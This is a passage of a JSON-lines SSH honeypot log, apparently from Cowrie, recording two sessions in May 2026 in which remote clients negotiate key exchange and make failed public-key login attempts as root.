ge-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.051104Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:11:00:16:44:93:60:19:99:bf:75:af:2a:87:c7:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAd9wm4lq/ZM578Qb0juFsvu/Rk4Pias6PFwkozVatYpopRk0UBQSYGu9egUAC07fzoYGakA9pjEOeWOY5rMlRLSVP7figG3spVk7WJ8scc5eBi1EATzMCXJ1V4KWtcFAhPIy6WLRl/T4e7+DWzH6RBuZKb0B2rgeekBXLQxUseUjL0SFHhtgCU4rIvqPAG59zsoFlHOSTwW70iLw6jCMsau0o0UnCPr063xmvNu1OkZPVTSqCeCCOi+fQ6CI2AFXAldtFLZ0kNZhEPlBcqSMNKd1igPHSx+UZNUti1N8r1qYNEffClBUC+CicAMELzQJNjJ/CIUZnhjYscoDR3odj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:11:00:16:44:93:60:19:99:bf:75:af:2a:87:c7:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.605034Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:11:00:16:44:93:60:19:99:bf:75:af:2a:87:c7:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAd9wm4lq/ZM578Qb0juFsvu/Rk4Pias6PFwkozVatYpopRk0UBQSYGu9egUAC07fzoYGakA9pjEOeWOY5rMlRLSVP7figG3spVk7WJ8scc5eBi1EATzMCXJ1V4KWtcFAhPIy6WLRl/T4e7+DWzH6RBuZKb0B2rgeekBXLQxUseUjL0SFHhtgCU4rIvqPAG59zsoFlHOSTwW70iLw6jCMsau0o0UnCPr063xmvNu1OkZPVTSqCeCCOi+fQ6CI2AFXAldtFLZ0kNZhEPlBcqSMNKd1igPHSx+UZNUti1N8r1qYNEffClBUC+CicAMELzQJNjJ/CIUZnhjYscoDR3odj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.609198Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:c5:fd:02:86:71:e7:50:5c:8c:95:72:d8:24:31:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDT/n6B/t3bnHDcc6b0xpdy9jSBurnAy5tEF3fXL7gQaBsOsj7jxte97a7o6it2l0BwmAV9JcIz90Hpe4bEtIInK75gHghT1MyTHVOji+853ccaxk9erBgjYPB+3z2OMN45msVjYgRn1NiAOJD9b1VecsZBcKESN0GWLTSB5D2pnQkqDavzVfHTzroqWLxaldNCp8F8U6+qW6ps+y9MLfHvA4I5ol4lgpAdMAql9YCAPzE2GtC4KYFrjhBIZa2O3qrjJ8lLwK79U/plH5HWHHoHq8Nn5SqORUP3/SNTFu2nG9T+JWeQX8+UScEnoD7nXkELvegp0lVjR/5G3+sQUlrqBj9d/eg24viNSTLQHvcoB+KBbww71iCzmnF+xB27LHuRsEtbz55BvjHLXzxBfWrs30Ufg8wLxovPVjbexm2H37Ei1V3skahI1WXYTCRM/2fVj6bhC6cQt7EFYm/4IawP8QpMTwcMQlcrAWZ6kty5HwZAsn6taWori045hEBoruRokHpgRw6ol/qHyv5YQnMnqxDzjcEJ+ualfV6ZpqXrm/8jGnCrrFMzSIN0phTEAbNuO0OPLZxGvcSmP+R5bz9xnGzoVeAwl+OXi61WJBDY5Bn8u1iU+yTg7fUJFy5bHNlJSnE3oGWsNBisamk2iqlSYfeM7amf8J2QAJLt+FSCPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:c5:fd:02:86:71:e7:50:5c:8c:95:72:d8:24:31:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.725580Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:c5:fd:02:86:71:e7:50:5c:8c:95:72:d8:24:31:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDT/n6B/t3bnHDcc6b0xpdy9jSBurnAy5tEF3fXL7gQaBsOsj7jxte97a7o6it2l0BwmAV9JcIz90Hpe4bEtIInK75gHghT1MyTHVOji+853ccaxk9erBgjYPB+3z2OMN45msVjYgRn1NiAOJD9b1VecsZBcKESN0GWLTSB5D2pnQkqDavzVfHTzroqWLxaldNCp8F8U6+qW6ps+y9MLfHvA4I5ol4lgpAdMAql9YCAPzE2GtC4KYFrjhBIZa2O3qrjJ8lLwK79U/plH5HWHHoHq8Nn5SqORUP3/SNTFu2nG9T+JWeQX8+UScEnoD7nXkELvegp0lVjR/5G3+sQUlrqBj9d/eg24viNSTLQHvcoB+KBbww71iCzmnF+xB27LHuRsEtbz55BvjHLXzxBfWrs30Ufg8wLxovPVjbexm2H37Ei1V3skahI1WXYTCRM/2fVj6bhC6cQt7EFYm/4IawP8QpMTwcMQlcrAWZ6kty5HwZAsn6taWori045hEBoruRokHpgRw6ol/qHyv5YQnMnqxDzjcEJ+ualfV6ZpqXrm/8jGnCrrFMzSIN0phTEAbNuO0OPLZxGvcSmP+R5bz9xnGzoVeAwl+OXi61WJBDY5Bn8u1iU+yTg7fUJFy5bHNlJSnE3oGWsNBisamk2iqlSYfeM7amf8J2QAJLt+FSCPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.730786Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:ae:13:e7:dc:3f:04:a9:cd:16:63:ca:7e:a9:06:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMeJVAIPVOQiEceo8T8AbTHBkMb+a9VMlIF1tGd5FW80SOHrZBqmTG4nr+77zLNdHoNKX1DOX24NYCMCinpT8yRkBeERc6rr3jNthFx2Vjm9mL2POl4oHO/cdo8bhMPxteq84ELHuEJRrCe6mPyGVRxK7y7TfqNE/GSyR1mdqo4AHkzpett2q4SRLxu4uZmtHFKB6RLIgtBELBroJTFEgm2VR/0B8QkNXf+iy6iQi1DiKEBGZACEhYYPUmzKCvSHi+F0AnMvHYt/tHsW+RAoiiJQ7EoR5kyLFKdMd3JX4z5oct3EFZ7wyFjqhYaRvef+elksmDBgrA7aVgNPdKzFXMhlvIzLeHu+l1VVA0OoFWgxLUyYV3oGBaAurXFi+IG1/Cb+Bhom7UEu6H5eSXs4uRD1lbe0Fok+0eS9fTrJ7w+Q2q55SK5cT4juARMtNozxSN6VLsxi5oHhzQuB2XVh4PZ3FetsGF6aEMdSRpz9vZsW2zfHtznI3uq3kTEJo8Mik=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:ae:13:e7:dc:3f:04:a9:cd:16:63:ca:7e:a9:06:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.849493Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:ae:13:e7:dc:3f:04:a9:cd:16:63:ca:7e:a9:06:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMeJVAIPVOQiEceo8T8AbTHBkMb+a9VMlIF1tGd5FW80SOHrZBqmTG4nr+77zLNdHoNKX1DOX24NYCMCinpT8yRkBeERc6rr3jNthFx2Vjm9mL2POl4oHO/cdo8bhMPxteq84ELHuEJRrCe6mPyGVRxK7y7TfqNE/GSyR1mdqo4AHkzpett2q4SRLxu4uZmtHFKB6RLIgtBELBroJTFEgm2VR/0B8QkNXf+iy6iQi1DiKEBGZACEhYYPUmzKCvSHi+F0AnMvHYt/tHsW+RAoiiJQ7EoR5kyLFKdMd3JX4z5oct3EFZ7wyFjqhYaRvef+elksmDBgrA7aVgNPdKzFXMhlvIzLeHu+l1VVA0OoFWgxLUyYV3oGBaAurXFi+IG1/Cb+Bhom7UEu6H5eSXs4uRD1lbe0Fok+0eS9fTrJ7w+Q2q55SK5cT4juARMtNozxSN6VLsxi5oHhzQuB2XVh4PZ3FetsGF6aEMdSRpz9vZsW2zfHtznI3uq3kTEJo8Mik=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.854478Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:7b:86:1d:50:83:e8:00:b4:8a:a4:a7:c3:14:d8:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEArsV8GxGVk7gbYZbvwlzQbLAyP4Ocuznme/T41q1SsTGqS1bkXH7jNrlD5BZ43276AA1w8iSyWFs1bclkyJI9EMK6tKNGUeTsYhzd+SJJqdl92eDW+oasKSDWk9K5sVXT7k5p7J+jeFEvgKW7Vx0/mYFF/n/XiSaCJXGoQIXMSjXks97ZH/HmyVU9zwWa4ondm5oxjoZUVc8Ul/LPDNDVhUFDGFsWUCg0LFT2M2ZQaDbPneZfVLF55RCUIrPMvjvdkv/bjeMolBQJSY/a5gtO9Ui9jbcDtK9Ymm68jkXTaJ4dewFGjIy3pIPJFiJ2MjXpLozWGTDsPG64/HBSQIJSCK/7lbXI0L8n+gkpoe6q0hRGKggBXozLB8x6GChk1e7o8k4pd0dMfmnP44x/jhWvVUP1lR4nmz4Fnyc/OOnP7yDDKAAOnoz2r3CV96v1DGQv37OG5owOSVJu0TRMmwF2/8d9nsAmfHF9SeE9PVcvW0PsSiGVlPVo2eKqr2UifJrF1aWSY04Jo8Z8/F0+TNSnNeAaDomd5Do6L3fQkrRAxjzjISazKAYLmbeAippb5qvilM83eDcjOmwtkR37sFz9nmqpLCFciMHgwec3J/qv07/reXcvAf0P/va0jtpPB91P3RKpnlVSAGMTHapyD+UoDO4r1K8POSXeTetmmTZf/7M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:7b:86:1d:50:83:e8:00:b4:8a:a4:a7:c3:14:d8:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.972695Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:7b:86:1d:50:83:e8:00:b4:8a:a4:a7:c3:14:d8:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEArsV8GxGVk7gbYZbvwlzQbLAyP4Ocuznme/T41q1SsTGqS1bkXH7jNrlD5BZ43276AA1w8iSyWFs1bclkyJI9EMK6tKNGUeTsYhzd+SJJqdl92eDW+oasKSDWk9K5sVXT7k5p7J+jeFEvgKW7Vx0/mYFF/n/XiSaCJXGoQIXMSjXks97ZH/HmyVU9zwWa4ondm5oxjoZUVc8Ul/LPDNDVhUFDGFsWUCg0LFT2M2ZQaDbPneZfVLF55RCUIrPMvjvdkv/bjeMolBQJSY/a5gtO9Ui9jbcDtK9Ymm68jkXTaJ4dewFGjIy3pIPJFiJ2MjXpLozWGTDsPG64/HBSQIJSCK/7lbXI0L8n+gkpoe6q0hRGKggBXozLB8x6GChk1e7o8k4pd0dMfmnP44x/jhWvVUP1lR4nmz4Fnyc/OOnP7yDDKAAOnoz2r3CV96v1DGQv37OG5owOSVJu0TRMmwF2/8d9nsAmfHF9SeE9PVcvW0PsSiGVlPVo2eKqr2UifJrF1aWSY04Jo8Z8/F0+TNSnNeAaDomd5Do6L3fQkrRAxjzjISazKAYLmbeAippb5qvilM83eDcjOmwtkR37sFz9nmqpLCFciMHgwec3J/qv07/reXcvAf0P/va0jtpPB91P3RKpnlVSAGMTHapyD+UoDO4r1K8POSXeTetmmTZf/7M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:10.976645Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:df:17:eb:a8:db:8e:db:99:aa:d8:ed:cf:7e:66:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs49guOKX/84ZT3+91iST1AQHmGJbOhrIOvz3cBsYQdFMIzw62ZkgJAbYYeGpu32fJpwNP0s6QjAkG/mx9afJ7hI6bX/45c+6ZN2pCPdbi1fE33awz0Ud8CuahzWAvh/tA+CF7CzUV5a+QGRbJO4vDBZBozDM/+9JvoRi6Mb6mOQ8EFetyKUjJ2J4YM0dzjUskEORtRGsWK/i6/h6qWTq3jEq25REmAjaXzulpCGmiTtzXo3DdBb7YkzBL6mU6LkT6QiH8sja1vyGunB4gFpMW4mubmwHWZ/NATjkuIcYXSCQ6hm577MlT/tBa3teaiNPe0u1e7nF3C8ZotEuxCkgl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:df:17:eb:a8:db:8e:db:99:aa:d8:ed:cf:7e:66:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:11.095381Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:df:17:eb:a8:db:8e:db:99:aa:d8:ed:cf:7e:66:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs49guOKX/84ZT3+91iST1AQHmGJbOhrIOvz3cBsYQdFMIzw62ZkgJAbYYeGpu32fJpwNP0s6QjAkG/mx9afJ7hI6bX/45c+6ZN2pCPdbi1fE33awz0Ud8CuahzWAvh/tA+CF7CzUV5a+QGRbJO4vDBZBozDM/+9JvoRi6Mb6mOQ8EFetyKUjJ2J4YM0dzjUskEORtRGsWK/i6/h6qWTq3jEq25REmAjaXzulpCGmiTtzXo3DdBb7YkzBL6mU6LkT6QiH8sja1vyGunB4gFpMW4mubmwHWZ/NATjkuIcYXSCQ6hm577MlT/tBa3teaiNPe0u1e7nF3C8ZotEuxCkgl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:11.101384Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:11.219269Z","src_ip":"194.42.205.100","session":"9ec6cd20cc7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.71","src_port":15682,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b70623b67cf","protocol":"ssh","message":"New connection: 89.37.117.71:15682 (10.17.0.5:22) [session: 2b70623b67cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:24.298616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:24.304315Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:24.438243Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:3b:e7:6d:d8:b3:21:a1:42:12:81:6d:c9:57:1c:a0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSluFOzeHV8zptY60bXwp4c+2buhU5toOehHV5u0Uzk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 04:3b:e7:6d:d8:b3:21:a1:42:12:81:6d:c9:57:1c:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.070969Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:3b:e7:6d:d8:b3:21:a1:42:12:81:6d:c9:57:1c:a0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICSluFOzeHV8zptY60bXwp4c+2buhU5toOehHV5u0Uzk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.076641Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:2c:9a:4d:da:f3:50:33:23:5d:e8:ea:8c:24:9a:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCtYUWLENs2Tb7QZjRjH/FDLTg3LEgxLkKlWN0v9j9CoOHtSeWnLgAyXn2AWRpaRLSnahmvRCOgAK6+kFK1jZ1YDzaoA1CrbOcEUwS3fu4Q99Xo9q4EVWq16aXCxeT4HyntbQOzE/VguwQ7OJVG7/MXE269WzZQ9OaCWQKjo+ktf2yW0Bl3aTM3hUw2okqRK0S/4B6nXH7IopHBkx8VEoS0KnFB7WK79ngglaxoJcPu3zY81qWJo7zp7BwhA4WtkqRRp/2I1ziyroCCi0Kpo8dRuN9NWwBAF704HLzs88GE2cy6r16YpdT9nADl5IgL2aJqVbZcu2qxQp351k96R43u8vFkWexCOZyBhpp1CtpLnQJ7pLwknAPfgYDTlNGJ4Tzif1jiJzIDO6g7fWFRiKItdbNq1e4qeHg9LgIgWaYUCnopx7dMSMI0LndPXv2iZtY3V2oxCdv7mP0Ldt0XJtRW8d53tiRE0CF6TRXZ1sXKyO/VN6/JOc+RUeRUMJdOAKmpOmLQHuFT979h0CIsY6XhFQY8BWrywiEIhDZkgH3fSXoARqmDQQi87AVJRdRbKC5Zoxz+CzwhJekNTo52qZqW6bWgu2P8VKBfHeqizRL1x8drAF/o5619iA478vM4IlkXs5pqrVvnffFWdlNrs7YW/3RXYedHlwIZtHtkBQxTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:2c:9a:4d:da:f3:50:33:23:5d:e8:ea:8c:24:9a:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.212446Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:2c:9a:4d:da:f3:50:33:23:5d:e8:ea:8c:24:9a:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCtYUWLENs2Tb7QZjRjH/FDLTg3LEgxLkKlWN0v9j9CoOHtSeWnLgAyXn2AWRpaRLSnahmvRCOgAK6+kFK1jZ1YDzaoA1CrbOcEUwS3fu4Q99Xo9q4EVWq16aXCxeT4HyntbQOzE/VguwQ7OJVG7/MXE269WzZQ9OaCWQKjo+ktf2yW0Bl3aTM3hUw2okqRK0S/4B6nXH7IopHBkx8VEoS0KnFB7WK79ngglaxoJcPu3zY81qWJo7zp7BwhA4WtkqRRp/2I1ziyroCCi0Kpo8dRuN9NWwBAF704HLzs88GE2cy6r16YpdT9nADl5IgL2aJqVbZcu2qxQp351k96R43u8vFkWexCOZyBhpp1CtpLnQJ7pLwknAPfgYDTlNGJ4Tzif1jiJzIDO6g7fWFRiKItdbNq1e4qeHg9LgIgWaYUCnopx7dMSMI0LndPXv2iZtY3V2oxCdv7mP0Ldt0XJtRW8d53tiRE0CF6TRXZ1sXKyO/VN6/JOc+RUeRUMJdOAKmpOmLQHuFT979h0CIsY6XhFQY8BWrywiEIhDZkgH3fSXoARqmDQQi87AVJRdRbKC5Zoxz+CzwhJekNTo52qZqW6bWgu2P8VKBfHeqizRL1x8drAF/o5619iA478vM4IlkXs5pqrVvnffFWdlNrs7YW/3RXYedHlwIZtHtkBQxTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.216432Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:3e:af:61:d2:79:10:c9:21:d5:f7:3d:55:5e:47:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGpxtDWKIAVG4L/aYvTWnaBAgC7addpp1m4ksJveveCoDme8uwddc4snK7TC70cpe+k14IEl3D+t2nroC3tlC8F09E6TockLkryJMKw8GJiA8YQn2oW0ug+dPbZUPvDWQC7OR78rT2HBzmxIgxgeqhV2QTRuh1s97wKbIgvO14qbQ1UAaAIVSqCQzkiegXZrFuPr3ozaHnVrZvOKfzACrZMdaVyEflusAKJWM39si1xgcxwdRBKP7DOOQEnbJ77W8CFOt1dFmy3rB8Q0xRbneAJMPsQC8RrYFRplHzM5qO3ZCqK6avmeZsClTEOeHMNKzes88aptggR4q1mbp0tCXPOtQPx0SCpEPZkvFxJMvSBj5Kzr5jxKR+KUD9v7VsbAV5GauiUi8I3iWc5ccnfoNptllpsjTf9qA/P2rTfHM+BNqqYuhmOYg/+NcoSN131Aleyvc8DT8tkzTUsWLC5NBWHUxEQhD1TtZDX4IZCxWyiuy7lklixhfxMCjfeYNcRIc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:3e:af:61:d2:79:10:c9:21:d5:f7:3d:55:5e:47:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.353173Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:3e:af:61:d2:79:10:c9:21:d5:f7:3d:55:5e:47:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGpxtDWKIAVG4L/aYvTWnaBAgC7addpp1m4ksJveveCoDme8uwddc4snK7TC70cpe+k14IEl3D+t2nroC3tlC8F09E6TockLkryJMKw8GJiA8YQn2oW0ug+dPbZUPvDWQC7OR78rT2HBzmxIgxgeqhV2QTRuh1s97wKbIgvO14qbQ1UAaAIVSqCQzkiegXZrFuPr3ozaHnVrZvOKfzACrZMdaVyEflusAKJWM39si1xgcxwdRBKP7DOOQEnbJ77W8CFOt1dFmy3rB8Q0xRbneAJMPsQC8RrYFRplHzM5qO3ZCqK6avmeZsClTEOeHMNKzes88aptggR4q1mbp0tCXPOtQPx0SCpEPZkvFxJMvSBj5Kzr5jxKR+KUD9v7VsbAV5GauiUi8I3iWc5ccnfoNptllpsjTf9qA/P2rTfHM+BNqqYuhmOYg/+NcoSN131Aleyvc8DT8tkzTUsWLC5NBWHUxEQhD1TtZDX4IZCxWyiuy7lklixhfxMCjfeYNcRIc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.357021Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:02:28:e3:80:7f:44:3b:42:f0:0a:13:e9:57:2b:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdwnjtv3uZKlubAlZDvrUJ5Ti29gUx7Uwh5oQme4b176LOPZbrjgYUFecUzvBoOdYgLfJNO0QlYfitrk7qwUf4BvztKX9JdaiGS62W80HzYTa/82F0XgdrJ24OFfFTPDN4KStfP74XkF/JYK4jYYtc2f7zwDR+cvhIcEM2S7RJwZyswIV2Mxhjz2kH57IPtB+/md7tuF80OG3uft31+3V7OZLRrxfxJODid1G0TVBDb8RYrmNoaOcgU7gc60jvjcrlsnIXJL+XHT660meWLj417PG4Tyk1B8I0YbOxN2kdFK+L5DU6CHrYcbSpftgLUnTy7aRIYw4oppgU4YoU+oBr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:02:28:e3:80:7f:44:3b:42:f0:0a:13:e9:57:2b:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.489755Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
